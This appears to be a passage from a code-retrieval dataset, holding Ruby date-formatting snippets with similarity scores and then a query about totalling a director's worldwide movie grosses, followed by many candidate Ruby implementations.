(hours.to_i*3600)+(minutes.to_i*60)+seconds.to_i\nend", "def xmlschema(fraction_digits=0)\n fraction_digits = fraction_digits.to_i\n s = strftime(\"%FT%T\")\n if fraction_digits > 0\n s << strftime(\".%#{fraction_digits}N\")\n end\n s << (utc? ? 'Z' : strftime(\"%:z\"))\n end", "def sensible_publication_dates_as_string\r\n errors.add(:publish_at, 'is invalid') if @publish_at_is_invalid\r\n errors.add(:unpublish_at, 'is invalid') if @unpublish_at_is_invalid\r\n end", "def string\n case @doc.format\n when 'date' then parse_time(Date)\n when 'date-time' then parse_time(DateTime)\n when 'base64' then @input # Base64.strict_decode64(@input)\n when 'binary' then @input\n else @input.to_s\n end\n end", "def test_rfc6351_value_date_time_with_day_hour_z\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>---28T13Z</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:---28T13Z\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def to_s()\n \"#{@location}-#{@op}@#{@time.iso8601(9)}\"\n end", "def format_date(string)\n string.sub(/\\A(\\d\\d\\d\\d)(\\-|\\/)(\\d\\d)(\\-|\\/)(\\d\\d)/, '\\5.\\3.\\1')\nend", "def human_str(args = {})\n args = {\n :time => true,\n :number_endings => {\n 0 => \"th\",\n 1 => \"st\",\n 2 => \"nd\",\n 3 => \"rd\",\n 4 => \"th\",\n 5 => \"th\",\n 6 => \"th\",\n 7 => \"th\",\n 8 => \"th\",\n 9 => \"th\"\n }\n }.merge(args)\n \n now = Time.now\n \n #Generate normal string.\n date_str = \"\"\n \n if now.day != @t_day and now.month == @t_month and now.year == @t_year\n last_digit = @t_day.to_s[-1, 1].to_i\n \n if ending = args[:number_endings][last_digit]\n #ignore.\n else\n ending = \".\"\n end\n \n date_str << \"#{@t_day}#{ending} \"\n elsif now.day != @t_day or now.month != @t_month or now.year != @t_year\n date_str << \"#{@t_day}/#{@t_month} \"\n end\n \n if now.year != @t_year\n date_str << \"#{@t_year} \"\n end\n \n if args[:time]\n date_str << \"#{@t_hour}:#{\"%02d\" % @t_min}\"\n end\n \n return date_str\n end", "def localtime_str\n return \"#{\"%04d\" % @t_year}-#{\"%02d\" % @t_month}-#{\"%02d\" % @t_day} #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec} #{self.offset_str}\"\n end", "def fast_string_to_time(string)\n return unless string =~ Format::ISO_DATETIME\n microsec = (Regexp.last_match[7].to_r * 1_000_000).to_i\n new_time(Regexp.last_match[1].to_i,\n Regexp.last_match[2].to_i,\n Regexp.last_match[3].to_i,\n Regexp.last_match[4].to_i,\n Regexp.last_match[5].to_i,\n Regexp.last_match[6].to_i,\n microsec\n )\n end", "def canonicalize!\n if self.valid?\n @string = if has_timezone?\n @object.new_offset.new_offset.strftime(FORMAT[0..-4] + 'Z').sub('.000', '')\n else\n @object.strftime(FORMAT[0..-4]).sub('.000', '')\n end\n end\n self\n end", "def solrize_date(date)\n date.strftime('%Y-%m-%dT00:00:00Z')\n end", "def escape(str)\n str = str.to_date.strftime(\"%Y-%m-%d\\t0:00:00\\t%Z\") if \n [Date, DateTime, Time].include?(str.class)\n URI.escape(str.to_s, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n end", "def offset_str\n offset_info_data = self.offset_info\n return \"#{offset_info_data[:sign]}#{\"%02d\" % offset_info_data[:hours]}#{\"%02d\" % offset_info_data[:mins]}\"\n end", "def get_datetime_from_iso8601(iso8601_time, options={})\n if options[:until_date]\n if iso8601_time[8..9].present?\n ISO8601::DateTime.new(iso8601_time).to_time.utc.at_end_of_day\n elsif iso8601_time[5..6].present?\n ISO8601::DateTime.new(iso8601_time).to_time.utc.at_end_of_month\n else\n ISO8601::DateTime.new(iso8601_time).to_time.utc.at_end_of_year\n end\n else\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n end\n rescue\n nil\n end", "def test_rfc6351_value_date_time_with_day_hour_tz\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>---28T13+1234</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:---28T13+1234\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def time_escape(string)\n Time.parse(\"#{string}#{offset}\")\n end", "def date_to_string(date, type = T.unsafe(nil), style = T.unsafe(nil)); end", "def gnupg_date_format(maybe_datetime)\n datetime = case maybe_datetime\n when DateTime then maybe_datetime\n when Time, Date then maybe_datetime.to_datetime\n else raise ArgumentError,\n \"datetime: has to be a DateTime/Time/Date\"\n end\n\n # datetime.utc.iso8601.gsub(/-|:/, '')[0..-6]\n datetime.utc.iso8601.gsub(/-|:/, \"\")[0..-6]\n end", "def format_date(string)\n string.sub(/\\A(\\d{4})([\\-\\/])(\\d{2})\\2(\\d{2})\\z/, '\\4.\\3.\\1')\nend", "def test_format_strftime_record\n d = create_driver %[\n tag #{@tag}\n key #{@key}\n format %d/%b/%Y:%H:%M:%S %z\n source record\n standard localtime\n ]\n\n d.run do\n d.emit({\"a\"=>1}, Time.parse(\"1990-04-14 09:45:15 UTC\").to_i)\n end\n\n record = d.emits.first.last\n assert_equal \"14/Apr/1990:11:45:15 +0200\", record[@key]\n end", "def test_rfc6351_value_time_with_second_tz\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>--01+1234</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:--01+1234\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def to_s\n @file.to_s.scan(%r{(\\d{4})(\\d{2})(\\d{2})(.*?)-(.*?)\\..*}) do |year,month,day,time,name|\n return \"#{year}/#{month}/#{day}/#{name}\"\n end\n end", "def solr_date(date)\n return Time.utc(date.year, date.mon, date.mday).iso8601()\nend", "def solr_date(date)\n return Time.utc(date.year, date.mon, date.mday).iso8601()\nend", "def test_rfc6351_value_date_time_with_day_hour_minute_second\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>---28T135301</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:---28T135301\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def test_rfc6351_value_date_time_with_month_day_hour\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>--0128T13</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:--0128T13\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def to_xml_string(str = +'')\n serialized_tag('dateGroupItem', str)\n end", "def test_rfc6351_value_date_time_with_day_hour_minute\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>---28T1353</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:---28T1353\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def test_rfc6321_section5\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<icalendar xmlns=\"urn:ietf:params:xml:ns:icalendar-2.0\">\n <vcalendar>\n <properties>\n <x-property>\n <unknown>20110512T120000Z</unknown>\n </x-property>\n </properties>\n </vcalendar>\n</icalendar>\nXML\n vobj = <<VOBJ\nBEGIN:VCALENDAR\nX-PROPERTY:20110512T120000Z\nEND:VCALENDAR\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<icalendar xmlns=\"urn:ietf:params:xml:ns:icalendar-2.0\">\n <vcalendar>\n <properties>\n <dtstart>\n <parameters>\n <x-param>\n <text>PT30M</text>\n </x-param>\n </parameters>\n <date-time>2011-05-12T13:00:00Z</date-time>\n </dtstart>\n </properties>\n </vcalendar>\n</icalendar>\nXML\n vobj = <<VOBJ\nBEGIN:VCALENDAR\nDTSTART;X-PARAM=PT30M:20110512T130000Z\nEND:VCALENDAR\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def out_of_bounds_time_format; end", "def string(*format)\n str=\"\"\n tsformat=\"\"\n kcode=\"\"\n \n if(format.empty?)\n str=\"%o\"\n else\n str=String(format[0])\n tsformat=String(format[1])\n kcode=String(format[2]).downcase\n end\n \n if(tsformat.empty?)\n tsformat=\"%H:%M\"\n end\n \n str.gsub!(\"%T\",@timestamp.strftime(tsformat))\n str.gsub!(\"%n\",String(@selfNick))\n str.gsub!(\"%s\",String(@server))\n str.gsub!(\"%f\",String(@fromNick))\n str.gsub!(\"%F\",String(@from))\n str.gsub!(\"%c\",String(@command))\n str.gsub!(\"%C\",String(@cmndstr))\n str.gsub!(\"%t\",String(@to))\n if(@args.empty?)\n str.gsub!(\"%a\",\"\")\n else\n str.gsub!(\"%a\",@args.join(\" \"))\n end\n str.gsub!(\"%o\",@origin.to_s)\n \n case kcode\n when \"jis\"\n return Kconv::tojis(str)\n when \"sjis\"\n return Kconv::tosjis(str)\n else\n return str\n end\n end", "def parse_date(date_string)\n result = sugarcube_detect(date_string).first\n if result\n return result.date\n else\n return iso8601(date_string)\n end\n end", "def test_rfc6351_value_date_time_with_day_hour\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>---28T13</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:---28T13\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def correct_format(string)\n parts = string.split(\"-\")\n if parts[0].include?(\"AM\") then parts[0] = \"#{set_24hour(parts[0].split(\":\").first, false)}:30\" else parts[0] = \"#{set_24hour(parts[0].split(\":\").first)}:30\" end \n if parts[1].include?(\"AM\") then parts[1] = \"#{set_24hour(parts[1].split(\":\").first, false)}:30\" else parts[1] = \"#{set_24hour(parts[1].split(\":\").first)}:30\" end\n parts[2] = what_day(parts[2])\n return \"#{parts[0]}-#{parts[1]}-#{parts[2]}\"\n end", "def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end", "def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end", "def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end" ]
[ "0.7157519", "0.6986221", "0.69006157", "0.6854663", "0.6753192", "0.67225754", "0.6634514", "0.6405202", "0.6317594", "0.6200826", "0.6156187", "0.610216", "0.5929391", "0.57236195", "0.56644416", "0.55872315", "0.55814505", "0.55774397", "0.5541957", "0.5533767", "0.54607975", "0.54372716", "0.5417602", "0.5390772", "0.5385983", "0.53428507", "0.5339433", "0.5337789", "0.5298649", "0.5298649", "0.5284632", "0.52799106", "0.52465934", "0.52394634", "0.52374893", "0.52148294", "0.5200477", "0.5177024", "0.5154257", "0.51503944", "0.51288164", "0.51117593", "0.5109595", "0.5095418", "0.50876683", "0.50854635", "0.5084199", "0.50809705", "0.50747895", "0.50706303", "0.5066697", "0.506425", "0.5064085", "0.505283", "0.5051625", "0.50497836", "0.50331", "0.50307524", "0.501951", "0.50153506", "0.5003798", "0.49831334", "0.4982399", "0.4969597", "0.4962334", "0.4954493", "0.4945341", "0.49399352", "0.49160233", "0.49093866", "0.48862052", "0.48772633", "0.48724568", "0.48616326", "0.48609814", "0.4848956", "0.4845331", "0.4837379", "0.48233026", "0.48221746", "0.4819613", "0.48175398", "0.48119363", "0.4809676", "0.48044628", "0.4796576", "0.4796576", "0.47936395", "0.47826973", "0.47768405", "0.47713602", "0.47584355", "0.47520238", "0.47471344", "0.4739398", "0.47275594", "0.47263804", "0.47242683", "0.47242683", "0.47242683" ]
0.51166356
41
Find a way to accumulate the :worldwide_grosses and return that Integer using director_data as input
def gross_for_director(director_data) i = 0 tot = 0 while i < director_data[:movies].count do tot += director_data[:movies][i][:worldwide_gross] i += 1 end return tot end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def gross_for_director(director_data)\n movie_index = 0\n worldwide_grosses = 0\n while movie_index < director_data[:movies].length\n worldwide_grosses += director_data[:movies][movie_index][:worldwide_gross]\n movie_index += 1\n end\nworldwide_grosses\nend", "def gross_for_director(director_data)\n sum = 0\n\t\n\tdirector_data[:movies].each do |movie|\n\t\tsum += movie[:worldwide_gross]\n\tend\n\t\n\treturn sum\nend", "def gross_for_director(director_data)\n movie_index = 0\n director_total = 0\n while movie_index < director_data[:movies].length\n director_total += director_data[:movies][movie_index][:worldwide_gross]\n movie_index += 1\n end\n director_total\n\n end", "def gross_for_director(director_data)\n index = 0 \n total = 0 \n while index < director_data[:movies].length do\n total+=director_data[:movies][index][:worldwide_gross]\n index+=1\n end\n total\n end", "def gross_for_director(director_data)\n\n result = 0\n movie_idx = 0\n while movie_idx < director_data[:movies].count\n result += director_data[:movies][movie_idx][:worldwide_gross]\n movie_idx += 1\n end\n result\nend", "def gross_for_director(director_data)\ndirector_gross = 0\n movie_len = director_data[:movies].length\n movie_index = 0\n while movie_index < movie_len do\n director_gross += director_data[:movies][movie_index][:worldwide_gross]\n movie_index += 1\n end\n director_gross\nend", "def gross_for_director(director_data)\n total = 0\n movies = director_data[:movies]\n movies.length.times do |movie_idx|\n total+=movies[movie_idx][:worldwide_gross]\n end\n return total\nend", "def gross_for_director(director_data)\n m_index = 0\n director_data = 0\n gross = 0\n while m_index < directors_database[director_data][:movies].length do\n gross += directors_database[director_data][:movies][m_index][:worldwide_gross]\n m_index += 1\nend\ngross\nend", "def gross_for_director(director_data)\n director_gross = 0\n movie_count = 0\n while movie_count < director_data[:movies].length do\n director_gross += director_data[:movies][movie_count][:worldwide_gross]\n movie_count += 1\n end\n director_gross\nend", "def gross_for_director(director_data)\n gross_for_director=0\n i=0\n while i<director_data[:movies].size\n gross_for_director+=director_data[:movies][i][:worldwide_gross]\n i+=1\n end\n gross_for_director\nend", "def gross_for_director(director_data)\n count = 0\n sum = 0\n while director_data[:movies][count] do\n sum += director_data[:movies][count][:worldwide_gross]\n count += 1\n end\n \n return sum\nend", "def gross_for_director(director_data)\n total_gross = 0\n\n i = 0\n while i < director_data[:movies].length\n worldwide_gross = director_data[:movies][i][:worldwide_gross]\n total_gross += worldwide_gross\n i += 1\n end\n\n total_gross\nend", "def gross_for_director(director_data)\n movie_count = 0\n total_gross = 0\n while movie_count < director_data[:movies].length do\n total_gross += director_data[:movies][movie_count][:worldwide_gross]\n movie_count += 1\n end\n total_gross\nend", "def gross_for_director(director_data)\n movie_index = 0 \n inner_result = 0 \n while movie_index < director_data[:movies].length do\n inner_result += director_data[:movies][movie_index][:worldwide_gross]\n movie_index += 1 \n end\n inner_result\nend", "def gross_for_director(director_data)\n #dir_name = director_data[:name]\n movie_list = director_data[:movies]\n dir_gross = 0\n movie_index = 0\n while movie_index < movie_list.length do\n dir_gross += movie_list[movie_index][:worldwide_gross]\n movie_index += 1\n end\n dir_gross\nend", "def gross_for_director(director_data)\n row_index = 0\n director_total = 0\n\n while row_index < director_data[:movies].length do\n director_total += director_data[:movies][row_index][:worldwide_gross]\n \n row_index += 1\n end\n\n director_total\nend", "def gross_for_director(director_data)\n total_director_gross = 0\n director_data[:movies].each do |movie|\n total_director_gross += movie[:worldwide_gross]\n end\n total_director_gross\nend", "def gross_for_director(director_data)\n gross = 0\n director_data[:movies].each do |n|\n gross +=n[:worldwide_gross]\n end\n return gross\nend", "def gross_for_director(director_data)\n movie_index = 0 \n total_gross = 0\n while director_data[:movies][movie_index] do \n movie_hash = director_data[:movies][movie_index]\n total_gross += movie_hash[:worldwide_gross]\n movie_index += 1\n end \n total_gross\nend", "def gross_for_director(director_data)\ntotal=0\nm= director_data[:movies]\nrow = 0\nwhile row < m.length \n g= m[row][:worldwide_gross]\n row += 1\n total += g\nend\ntotal\n\nend", "def gross_for_director(director_data)\n total=0\n rownum=0\n while rownum< director_data[:movies].length\n total+=director_data[:movies][rownum][:worldwide_gross]\n rownum+=1\nend\nreturn total\nend", "def gross_for_director(director_data)\n sum = 0\n x = 0\n\n while x < director_data[:movies].length do\n sum += director_data[:movies][x][:worldwide_gross]\n x += 1\n end\n\n sum\nend", "def gross_for_director(director_data)\n #pp director_data\n\n result = []\n movie_index = 0\n\n while movie_index < director_data[:movies].length do\n total_gross = director_data[:movies][movie_index][:worldwide_gross]\n result.push(total_gross)\n movie_index += 1\n end\n puts result\n return result.sum\n end", "def gross_for_director(director_data)\n total = 0\n index = 0\n\n while index < director_data[:movies].length do\n total += director_data[:movies][index][:worldwide_gross]\n index += 1\n end\n\n total\nend", "def director_gross(director_data)\n movies_index = 0\n total = 0\n \n while movies_index < director_data[:movies].count do\n total += director_data[:movies][movies_index][:worldwide_gross] \n movies_index += 1\n end\n total\nend", "def gross_for_director(director_data)\ntotal = 0\nmovie_index = 0\n while movie_index<director_data[:movies].length do\n total+=director_data[:movies][movie_index][:worldwide_gross]\n movie_index+=1\n end\ntotal\nend", "def gross_for_director(director_data)\n #total gross for director\n director_total = 0\n #movie iterator\n movie_element = 0\n #iterate through movies\n while movie_element < director_data[:movies].length do\n #add movie gross to total for director\n director_total += director_data[:movies][movie_element][:worldwide_gross]\n #increase movie iterator\n movie_element += 1\n end\n return director_total\nend", "def gross_for_director(director_data)\n movies_index = 0\n director_gross = 0\n movies_array = director_data[:movies]\n while movies_index < movies_array.length do\n director_gross += movies_array[movies_index][:worldwide_gross]\n movies_index += 1\n end\n p director_gross\nend", "def gross_for_director(director_data)\n #p director_data\n i = 0\n total = 0\n while i < director_data[:movies].length do\n total += director_data[:movies][i][:worldwide_gross] \n i += 1\n end\n total\nend", "def gross_for_director(director_data)\n counter = 0\n #gross = directors_database[:movies].count()\n # len = directors_database[director_data][:movies].length\n# while counter < len do \n# gross = directors_database[0][:movies][0][:worldwide_gross]\n# end\n\n# counter += 1\n # while\n new = 0\n limit = director_data[:movies].size\n while counter < limit do\n new += director_data[:movies][counter][:worldwide_gross]\n \n counter += 1\nend \n \n new\nend", "def gross_for_director(director_data)\n i = 0 \n total = 0\n while i < director_data[:movies].length do \n total += director_data[:movies][i][:worldwide_gross]\n i += 1 \n end \n total \nend", "def gross_for_director(director_data)\n \n total = 0\n i = 0 \n while i < director_data[:movies].length do\n total += director_data[:movies][i][:worldwide_gross]\n i += 1\n\n\nend\n\nreturn total\nend", "def gross_for_director(director_data)\n # index = 0\n coordinate_total = 0\n # while index < director_data.length do\n totalindex = 0\n while totalindex < director_data[:movies].length do\n coordinate_total += director_data[:movies][totalindex][:worldwide_gross]\n totalindex += 1\n # end\n # index += 1\n end\n coordinate_total\n\nend", "def gross_for_director(director_data)\nmovieNum = 0\ntotalGross = 0\nwhile movieNum < director_data[:movies].length do\n totalGross += director_data[:movies][movieNum][:worldwide_gross]\n movieNum += 1\nend\ntotalGross\nend", "def gross_for_director(nds)\n\n sum=0\n idx2 = 0\n while idx2 < nds[:movies].length\n # p director_database[idx1][:movies][idx2][:worldwide_gross]\n sum += nds[:movies][idx2][:worldwide_gross]\n idx2 +=1\n end\n # puts sum\n # puts \"-\"\n sum\nend", "def gross_for_director(d)\n total = 0\n index = 0\n while index < d[:movies].length do\n total += d[:movies][index][:worldwide_gross]\n index += 1\n end\n total\nend", "def gross_for_director(director_data)\n grand_total = 0\n row_index = 0\n column_index = 0\n while column_index < directors_database[row_index][:movies].length do\n grand_total += directors_database[row_index][:movies][column_index][:worldwide_gross]\n column_index += 1\n end\n grand_total\nend", "def gross_for_director(director_data)\nfilmsMade = director_data[:movies].length\n movies_index = 0 \n gross_index = 0\n\n while gross_index < filmsMade do\n director_gross = director_data[:movies][gross_index][:worldwide_gross]\n movies_index += director_gross \n gross_index += 1\n end \n\n movies_index\nend", "def gross_for_director(director_data)\n earnings = 0\n which_mov = 0\n while which_mov < director_data[:movies].length do\n earnings += director_data[:movies][which_mov][:worldwide_gross]\n which_mov += 1\n end\n earnings \nend", "def gross_for_director(director_data)\n\n \n col = 0\n value = 0\n \n while col < director_data[:movies].length do\n \n value = value + director_data[:movies][col][:worldwide_gross]\n # puts director_data[row][:movies][col][:worldwide_gross]\n # puts value\n col += 1\n end\n # puts value\n value \nend", "def gross_for_director(director_data)\ntotal = 0\nindex_movies = 0\nmovie = director_data[:movies]\nwhile index_movies < movie.length do\n puts movie[index_movies][:worldwide_gross]\n total = total + movie[index_movies][:worldwide_gross]\n index_movies += 1\n \nend\ntotal\nend", "def gross_for_director(director_data)\ntotal=0 \ncolumn_index=0\nwhile column_index<director_data[:movies].length do \ntotal+=director_data[:movies][column_index][:worldwide_gross]\ncolumn_index+=1\nend\ntotal\nend", "def gross_for_director(nds, element_index)\n total = 0\n new_index = 0\n \n #extract numbers\n while new_index < nds[element_index][:movies].length do\n total = total + nds[element_index][:movies][new_index][:worldwide_gross]\n new_index += 1\n end\n total\nend", "def gross_for_director(director_data)\n\ntotal = 0 \nindex = 0 \n while index < director_data[:movies].length \n director_gross = director_data[:movies][index][:worldwide_gross]\n total += director_gross\n index += 1 \n end \n\n#binding.pry \n\nreturn total\nend", "def gross_for_director(director_data)\n director_total = 0 #intialization\n row_index = 0 # intialization\n\n while row_index < director_data[:movies].length do # \n \n director_total += director_data[:movies][row_index][:worldwide_gross] # adds each movies gross to a value director_total \n \n # puts \" World wide gross for the #{row_index + 1} movie is #{director_total}\" \n row_index += 1 \n end\n return director_total\nend", "def gross_for_director(director_data)\n new_array = director_data[:movies]\n i = 0 \n total_gross = 0\n while i < new_array.length do\n anotha_array = new_array[i]\n gross = anotha_array[:worldwide_gross]\n total_gross += gross\n i+=1\n end\n total_gross\nend", "def gross_for_director(director_data)\n \n result = {}\n movie_gross = 0\n movie_index = 0\n \n director_movies = director_data[:movies] # this is pointing to an array of hashes\n puts director_movies\n director_name = director_data[:name] # √\n \n while movie_index < director_movies.count do\n movie_gross += director_movies[movie_index][:worldwide_gross]\n movie_index +=1\n end\n \n movie_gross \nend", "def gross_for_director(director_data)\n array = director_data[:movies]\n i = 0 \n total = 0\n \n while i < array.length do\n obj = array[i]\n income = obj[:worldwide_gross]\n \n total += income\n i+=1\n end\n \n return total\nend", "def total_gross(source)\n total =0 \n name_key = list_of_directors(source)\n individual_gross_hash = directors_totals(source)\n dir_index=0\n while dir_index < name_key.length\n total+= individual_gross_hash[name_key[dir_index]]\n dir_index+=1 \n end\n total\nend", "def total_gross(source)\n # Write this implementation\n #\n # Should use methods:\n # 1. directors_totals: returns a Hash of { dir_name => gross }\n # 2. list_of_directors: names provides an Array of directors names (use\n \n total_all_directors = 0\n idx_dir = 0\n # Array de string\n noms_de_dirs = list_of_directors(source)\n # Hash donde las llaves son string y los valores son Integer\n money_dirs = directors_totals(source)\n \n while idx_dir < noms_de_dirs.length\n # Key is a string\n key = noms_de_dirs[idx_dir]\n total_all_directors += money_dirs[key]\n idx_dir += 1 \n end\n \n return total_all_directors\n \n #\n # Visit each key (i.e. director name), look up the value in the hash\n # returned by directors_totals, and add it to a running total. When done,\n # return the total\nend", "def gross_for_director(director_data)\nend", "def gross_for_director(director_data)\nend", "def directors_totals(nds)\n # Remember, it's always OK to pretty print what you get *in* to make sure\n # that you know what you're starting with!\n #\n #\n # The Hash result be full of things like \"Jean-Pierre Jeunet\" => \"222312123123\"\n\n #\n # Use loops, variables and the accessing method, [], to loop through the NDS\n # and total up all the\n # ...\n # ...\n # ...\n #\n #\n # Be sure to return the result at the end!\n\n result = {}\n\n director_index = 0\n movie_index = 0\n\n while director_index < nds.size do\n director = nds[director_index][:name]\n result[director] = 0\n while movie_index < nds[director_index][:movies].size do\n result[director] += nds[director_index][:movies][movie_index][:worldwide_gross]\n movie_index += 1\n end\n director_index += 1\n movie_index = 0\n end\n\n result\nend", "def directors_totals(nds)\n result = {} \n directors_index = 0 \n while directors_index < nds.length do \n directors = nds[directors_index][:name]\n result[directors] = 0 \n movie_index = 0\n totalmade = 0 \n while movie_index < nds[directors_index][:movies].length do\n directors_gross = nds[directors_index][:movies][movie_index][:worldwide_gross]\n result[directors] += directors_gross\n movie_index += 1 \n end \n directors_index += 1 \n end \n result\nend", "def directors_totals(nds)\n total = {}\n i = 0\n while i < nds.length do\n director = nds[i][:name]\n total[director] = gross_for_director(nds[i])\n i += 1 \n end\n return total \nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def studios_totals(nds)\n a_o_a_movies_with_director_names = movies_with_directors_set(nds)\n movies_with_director_names = flatten_a_o_a(a_o_a_movies_with_director_names)\n return gross_per_studio(movies_with_director_names)\nend", "def gross_for_director(director_data)\n\nend", "def gross_per_studio(collection)\n result = {}\n i = 0\n while i < collection.size do\n studio = collection[i][:studio]\n total_earnings = collection[i][:worldwide_gross]\n if !result[studio]\n result[studio] = total_earnings\n else\n result[studio] += total_earnings\n end\n i += 1\n end\n \n # GOAL: Given an AoH where each Hash is a movie, return a Hash that includes\n # the total worldwide_gross of all the movies from each studio.\n #\n # INPUT: (collection) AoH where each Hash represents a movie\n #\n # RETURN: Hash where the keys are the studios and the values are the sum of\n # all the worldwide_gross numbers for every movie in the input Hash\n \n result\nend", "def get_gross_for(title, movies)\n movie = movies.find{|movie| movie[:title] == title}\n movie = movie[:gross].gsub(/[$,]/, '').to_i\nend", "def directors_totals(nds)\nresult = []\n r_index=0 \n while r_index < nds.length \n i=0 \n total=0 \n\n n= nds[r_index][:name]\n t= nds[r_index][:movies]\n while i < t.length\n \n k= t[i][:worldwide_gross]\n total += k\n \n i += 1\n end\n r_index += 1\n result << [n , total]\n end\n result.to_h\n end", "def directors_totals(source)\n result = {}\n director_index = 0\n while director_index < source.size do\n director = source[director_index]\n result[director[:name]] = gross_for_director(director)\n director_index += 1\n end\n result\nend", "def determine_winner game\n winner = game.max_by {|team| team[:score]}\n team_standings = get_team_by_name(winner)\n team_standings[:winnings] += 3\nend", "def 